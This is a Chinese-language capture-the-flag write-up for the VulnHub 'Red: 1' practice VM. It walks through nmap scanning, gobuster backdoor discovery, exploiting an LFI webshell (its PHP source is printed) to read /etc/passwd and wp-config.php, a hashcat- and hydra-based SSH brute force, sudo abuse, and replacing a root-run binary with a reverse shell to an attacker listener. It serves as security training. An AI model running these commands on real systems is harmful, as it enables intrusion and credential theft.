Vulhub实战靶场 RED: 1
一、环境搭建
1、靶场下载链接:https://www.vulnhub.com/entry/red-1,753/,该靶场为模拟实战靶场,你扮演了一个电脑网站被植入后门,丢失了自己的管理权限了,需要一步步重新夺回自己的root管理权限。
2、导入Oracle VM VirtualBox
3、将网卡设置为桥接模式方便测试
4、直接启动靶场即可
二、攻略步骤
1、信息发现,hostname -I,获取攻击机ip地址网段
2、nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.1.0/24,探测靶场ip
3、nmap -sS -A 192.168.1.103,探测靶场启动的端口服务信息,探测到靶场启动的端口为22、80
4、nmap探测到,靶场系统为Ubuntu,80端口使用的框架为WordPress 5.8.1,访问靶场的80端口去收集更多信息
直接访问,是一些嘲讽信息,不是正常的网站页面,查看网站源码,发现href标签里,跳转的wp页面,域名都是redrocks.win
5、修改hosts文件,加入解析,使用域名访问网站,正常显示
访问最大的Hello Blue嘲讽页面
在源码中发现提示,正常的英语语句的书写方法是每句话第一个首字母大写,从之后的正常语句也可以看出,整个句子只有第一句话的单词首字母都大写了,而大写的字母组合在一起是LFI,所以可以猜测,这个网站存在的漏洞是一个LFI(文件包含漏洞),因为WordPress是PHP的框架,可能red就是先一步在这里植入了一个php的webshell文件
使用gobuster 爆破目录文件,使用的常见后门文件名字典下载链接为:https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
输入命令:gobuster dir -w CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dir.txt -z
发现后门文件/NetworkFileManagerPHP.php
6、搜索引擎,搜索后门文件,在github中可以发现他的webshell源码
接下来就是直接利用了,因为现在不清楚后门传入的参数使用的名称,所以使用wfuzz来进行爆破常见的参数名,使用的字典为SecLists中的字典,我一部分一部分的爆破,因为工作电脑性能不行,跑大量的数据包不准确,无法爆破出正确参数,输入命令:wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
7、尝试传入参数,确实可以使用,是一个文件包含webshell
访问链接: http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../etc/passwd
8、使用BurpSuite抓包,修改参数使用php伪协议读取后门源码
使用base64解码
该后门文件源码为:
<?php
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>
再次发现提示,提示为base64编码
说的是密码、Hashcat规则什么的,现在不太明白。既然使用的WordPress,那就读取他的wp-config.php配置文件来看看有没有信息
解码之后,得到数据库账号密码
用户名:john、密码:R3v_m4lwh3r3_k1nG!!
9、查看passwd文件中,发现有同名的账户john,所以使用得到的账号密码,然后ssh登录不成功
10、想到了之前的英语提示,翻译了一下,意思就是单靠密码不行,还需要hashcat规则
kali中有hashcat工具,他所有的加密都是用的base64加密,所以使用hacat用base64的规则命令生成爆破字典
输入命令:hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
pass.txt为得到的原始密码,passlist.txt为根据密码生成的符合规则的密码
11、使用生成的字典文件爆破ssh账户,输入命令:hydra -l john -P passlist.txt 192.168.1.103 ssh,成功爆破出密码
12、登录ssh成功,
发现几点问题
1)过几分钟就会被断开连接,而且密码都会换,需要重新爆破出新密码
2)登录之后查看文件,发现vi跟cat命令相反了,也就是vi实现的为cat的功能
3)不时的在shell中会出现干扰语句,真是第一次见到这样的靶场
三、提权
1、在ssh登录之后,收集信息,访问到了ippsec和oxdf目录下存在user.txt,应该是需要提权得到的flag
2、输入命令:sudo -l,查看到ippsec不需要密码就提权的命令有time
3、输入命令:sudo -u ippsec /usr/bin/time /bin/bash,得到一个假的flag,看来真的flag还是在root账户下
4、输入命令:find / -group ippsec -type d 2>/dev/null | grep -v proc,看看ippsec账户能有什么文件的权限,发现了wordpress下的.git目录
5、发现ippsec是可以在.git目录中写入文件的,在目录中发现有隐藏的.c程序
6、运行隐藏目录中的.rev,发现是执行.c程序的
7、反弹一个账户ippsec的shell
在/dev/shm目录下,编辑一个反弹shell的脚本,执行之后,成功得到一个ippsec的shell
为了维持shell的稳定,不在被踢出去,在反弹的shell中输入:python3 -c 'import pty;pty.spawn("/bin/bash")'
用python在维持一下shell的稳定,多输入两次,虽然还可以接收到red的信息,但是现在就稳定了
8、维持好shell之后,赋予pspy64s执行权限,寻找可利用提权方法,下载链接:https://github.com/DominicBreuker/pspy/releases/tag/v1.2.0
首先在放到攻击电脑的apache目录,打开apache之后在靶场反弹的shell中执行wget命令,下载之后执行找提权的方法
9、每过2分钟,在.git目录中的rev就会以root用户权限执行一次,而当前的ippsec用户有这个目录的读写权限,所以可以直接利用
首先,删除掉当前的dev和supersecretfileuc.c文件,然后将c语言用的反弹shell脚本重命名相同的名称,替换到.git目录中,等待反弹shell,
需要注意的是supersecretfileuc.c是反弹shell的源码,dev为编译之后的程序
在攻击机监听4242端口之后,成功得到root权限的shell,拿到root目录下的flag
四、总结
第一次玩到这种模拟攻防实战一样的靶场,非常的有意思,攻击过程中会不断的干扰攻击者,不时发送垃圾话还有定期改密码,都很有意思,感觉有意思的可以自己搭建玩一下。
最后的攻击机和靶场的ip变化是因为换网络环境了。